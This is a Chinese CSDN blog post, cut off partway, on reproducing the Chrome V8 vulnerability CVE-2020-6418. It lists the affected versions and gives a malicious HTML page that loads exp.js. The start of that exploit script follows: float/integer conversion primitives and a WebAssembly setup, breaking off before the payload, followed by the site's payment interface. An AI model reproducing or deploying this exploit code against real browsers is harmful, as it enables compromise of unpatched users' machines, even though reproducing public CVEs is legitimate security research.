CVE-2020-6418复现

本文详细介绍了如何复现Chrome浏览器的CVE-2020-6418高危漏洞,通过部署恶意html页面,触发Chrome内置打印机。文章提供漏洞影响版本、复现步骤以及修复建议,包括升级到安全版本。
摘要由CSDN通过智能技术生成

    CVE-2020-6418是2020年2月24日Google公布的一个Chrome浏览器的高危漏洞。复现一下,感受一下

影响版本

Chrome < 80.0.3987.122

漏洞复现

测试的Chrome版本为80.0.3987.87

部署恶意html页面在web服务器,访问恶意html页面触发弹出Chrome内置打印机

  1. html

 

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>test</title>

    <script type="text/javascript" src="exp.js"></script>

</head>

</html>

 

 

exp.js:

 

 

const MAX_ITERATIONS = 0x10000;

var maxSize = 1020*4;

 

var buf =new ArrayBuffer(16);

var float64 = new Float64Array(buf);

var bigUint64 = new BigUint64Array(buf);

var uint32 = new Uint32Array(buf);

// Floating point to 64-bit unsigned integer

function f2i(f)

{

    float64[0] = f;

    return bigUint64[0];

}

// 64-bit unsigned integer to Floating point

function i2f(i)

{

    bigUint64[0] = i;

    return float64[0];

}

 

function f2half(val)

{

    float64[0]= val;

    let tmp = Array.from(uint32);

    return tmp;

}

 

function half2f(val)

{

    uint32.set(val);

    return float64[0];

}

// 64-bit unsigned integer to hex

function hex(i)

{

    return "0x"+i.toString(16).padStart(16, "0");

}

 

function wasm_func() {

    var wasmImports = {

        env: {

            puts: function puts (index) {

                print(utf8ToString(h, index));

            }

        }

    };

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值